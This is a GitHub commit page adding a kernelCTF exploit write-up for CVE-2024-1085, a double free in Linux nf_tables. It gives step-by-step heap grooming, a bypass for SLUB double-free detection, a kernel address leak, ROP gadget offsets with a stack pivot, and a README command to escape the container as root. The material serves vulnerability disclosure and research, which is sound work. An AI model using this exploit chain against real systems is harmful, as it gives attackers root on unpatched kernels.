Skip to content

Commit

Permalink
Add kernelCTF CVE-2024-1085_cos (#108)
Browse files Browse the repository at this point in the history
* Add kernelctf CVE-2023-4569_lts

* change rop

* Add some infomation about the fix

* Add some infomation about the fix

* Add some infomation about the fix

* Add more details in exploit.md

* Add more details in exploit.md and exploit.c

* Add more details in exploit.md and exploit.c

* Add more details in exploit.md and exploit.c

* Add more details in exploit.md and exploit.c

* Fix some problems

* Fix some problems

* Add more details in exploit.md

* Add kernelCTF CVE-2024-1085_cos

* Add files

* Add files

* Fix files

* Fix files

* Fix files

* Fix files

* Change exploit.c

* Change exploit.c

* Change exploit.c

* Change exploit.c

* Change metadata.json

* Add more details in exploit.c

* Add more details in exploit.c and exploit.md

* add more details in exploit.c and exploit.md

---------

Co-authored-by: lonial con <[email protected]>
  • Loading branch information
conlonialC and conlonial authored Sep 23, 2024
1 parent 2596ed3 commit e60f9f2
Show file tree
Hide file tree
Showing 12 changed files with 1,431 additions and 0 deletions.
164 changes: 164 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-1085_cos/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,164 @@
# Exploit detail about CVE-2024-1085
If you want to get some base information about CVE-2024-1085, please read [vulnerability.md](./vulnerability.md) first.

## Background
nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.

It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft.

nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`.

### Genmask States of nftables
In nftable, developers use `genmask` in many objects to mark the state of the object. `genmask` has two important flags, which represent whether the object is available in the current task and the next batch of tasks.

```c
/*
* Generic transaction helpers
*/

/* Check if this object is currently active. */
#define nft_is_active(__net, __obj) \
(((__obj)->genmask & nft_genmask_cur(__net)) == 0)

/* Check if this object is active in the next generation. */
#define nft_is_active_next(__net, __obj) \
(((__obj)->genmask & nft_genmask_next(__net)) == 0)

/* This object becomes active in the next generation. */
#define nft_activate_next(__net, __obj) \
(__obj)->genmask = nft_genmask_cur(__net)

/* This object becomes inactive in the next generation. */
#define nft_deactivate_next(__net, __obj) \
(__obj)->genmask = nft_genmask_next(__net)

/* After committing the ruleset, clear the stale generation bit. */
#define nft_clear(__net, __obj) \
(__obj)->genmask &= ~nft_genmask_next(__net)
#define nft_active_genmask(__obj, __genmask) \
!((__obj)->genmask & __genmask)
```
When an object is deleted, developers usually call `nft_deactivate_next` to modify its `genmask`. Similarly, when developers need to confirm which objects have not been deleted, they need to use `nft_is_active_next` to check to avoid double free and other problems.
## Cause anaylysis
In function `nft_setelem_catchall_deactivate`, it checks if an elem is active by this :
```c
...
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_is_active(net, ext))
continue;
...
```
but it should use function `nft_is_active_next`. This vulnerability makes it possible to free a catchall->elem twice.


## Triggering the vulnerability

It's easy to trigger it by following this steps:

- Create a pipapo set A, and a catchall set element B in pipapo set A.
- Delete element B.
- Delete element B again.

By the way, we need to send the command of step 2 and step 3 together because we need to avoid set element B being actually released before our step 3.

## Exploit it

### Target object caches
Because the `struct nft_set_elem->priv` (which is allocated in function `nft_set_elem_init`)object size we plan to use is between 0xc0-0x100, our target object cache is `kmalloc-256`.

### Exploit detail
I exploit CVE-2024-1085 by following steps:

- 1. Create a pipapo set `A`, and a catchall set element `B` in it. Create a `bitmap set` which name is "set bitmap for exp".
- 2. Trigger the vulnerability by following messages:

```c
msg_list[0] = del_setelem_msg(table, pipapo_set, NULL, 0, NULL, 0, 1);//delete the catchall set element first time
msg_list[1] = del_table_msg(table_obj_for_double_free_bypass);////kfree the table -> udata, so we can kfree another heap object in the same kmalloc-256 cache as our catchall set element to avoid the naive double free detection in the SLUB allocator: https://lore.kernel.org/lkml/[email protected]/t/
msg_list[2] = del_setelem_msg(table, pipapo_set, NULL, 0, NULL, 0, 1);//delete the catchall set element second time
send_msg_list(socket, msg_list, 3);
```
After this we kfree the catchall set element `B` twice. This makes it possiable that we alloc the heap back twice.
- 3. Try to alloc the heap of the catchall set element `B` back by creating `nft_table` with `NFTA_TABLE_USERDATA`. Keep allocing heap, and each time you alloc a heap, check whether the heap has been alloced for(confirmed by whether the memory of the already created heap has been modified). After this step, We will find two `nft_table` with the same `udata`. We assume that the two `nft_tables` are `nft_table C` and `nft_table D`.
- 4. Delete `nft_table C`.
- 5. Spray heap to get the heap of `nft_table C->udata`
back. I spray heap by creating set element with `NFTA_SET_ELEM_EXPR` in `bitmap_set` because I want to leak the `ops` pointer of the `nft_expr`.
- 6. Dump `nft_table D`. Now we leak `nft_last_ops`. `nft_table D`'s `udata` contains the sprayed nft_expr object, so we can leak it's ops field which contains `nft_last_ops`.
- 7. Create another set element `E` in `bitmap_set`. Then dump the `nft_table D` again. We can get the pointer of the set element `E` because each bitmap set element has a doubly linked list.
```c
struct nft_bitmap_elem {
struct list_head head;
struct nft_set_ext ext;
};
```
- 8. Delete set element `E`. Fill the heap memory of set element `E` through heap spraying.
```c
//ops->dump
*(uint64_t *)&pad[0x40] = kernel_off + 0xffffffff810b9f43;//leave ; ret
//ops->type
*(uint64_t *)&pad[0x78] = kernel_off + 0xFFFFFFFF83967420;//last type
spray_tables(socket,0x200, pad, 0x80);
```
- 9. Delete `nft_table D`.
- 10. Fill the heap memory of `nft_table D ->udata` with fake `nft_expr` and ROP gadget.
- 11. Dump the set elements we create in step 5. Finally we will jmp to our ROP gadget.
```c
static int nf_tables_fill_expr_info(struct sk_buff *skb,
const struct nft_expr *expr)
{
if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
goto nla_put_failure;
if (expr->ops->dump) {
struct nlattr *data = nla_nest_start_noflag(skb,
NFTA_EXPR_DATA);
if (data == NULL)
goto nla_put_failure;
if (expr->ops->dump(skb, expr) < 0) //we hijack RIP here
goto nla_put_failure;
nla_nest_end(skb, data);
}
...
```

### ROP detail

The assembly code when calling expr->ops->dump is as follows:

```
mov rax, [rbp+0]
mov rsi, rbp
mov rdi, rbx
mov rax, [rax+40h]
call __x86_indirect_thunk_rax
```
So the `rbp` is the pointer of the current `nft_expr`. We fill it by following:
```c
...
//build fake setelem
*(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops
//start ROP
*(uint64_t *)&setelem_data[0x30] = kernel_off + 0xffffffff8112af10;//pop rdi; ret expr[0]->data
...
```

The first step of ROP start looks like this(We fill the ops pointer in step 8):
```
expr->ops->dump(skb, expr) --> leave ; ret
```
This will finally makes this happen:

```
rsp = element + 0x28 // mov rsp, rbp
rbp = *(element + 0x28) //pop rbp rbp=*(&setelem_data[0x28])
rsp = element + 0x30
rip = *(element + 0x30) //ret rip=*(&setelem_data[0x30])
rsp = element + 0x38
```
After completing the stack migration, we can run ROPgadget and finally get the root shell.
27 changes: 27 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-1085_cos/docs/vulnerability.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
# Vulneribility
In function `nft_setelem_catchall_deactivate`, it checks if a catchall->elem is active by using function `nft_is_active`, but it should use `nft_is_active_next`. This vulnerability makes it possible to free a catchall->elem twice.

## Requirements to trigger the vulnerability
- Capabilities: `CAP_NET_ADMIN` capability is required.
- Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES`
- Are user namespaces needed?: Yes

## Commit which introduced the vulnerability
- [commit aaa31047a6d25da0fa101da1ed544e1247949b40]( https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=aaa31047a6d25da0fa101da1ed544e1247949b40)

## Commit which makes it exploitable
- [commit 0b9af4860a61f55cf716267b5ae5df34aacc4b39](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=0b9af4860a61f55cf716267b5ae5df34aacc4b39)

## Commit which fixed the vulnerability
- [commit a372f1d01bc11aa85773a02353cd01aaf16dc18e](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=a372f1d01bc11aa85773a02353cd01aaf16dc18e)

## Affected kernel versions
- 6.1.56 and later
- 5.15.134 and later

## Affected component, subsystem
- net/netfilter (nf_tables)

## Cause
- UAF

Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
exploit:
gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static
prerequisites:
sudo apt-get install libnl-nf-3-dev
run:
./exploit

clean:
rm exploit
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Exploit for kctf cos-105-17412.226.43
Run command "nsenter --target 1 -m -p" after run the poc.
Binary file not shown.
Loading

0 comments on commit e60f9f2

Please sign in to comment.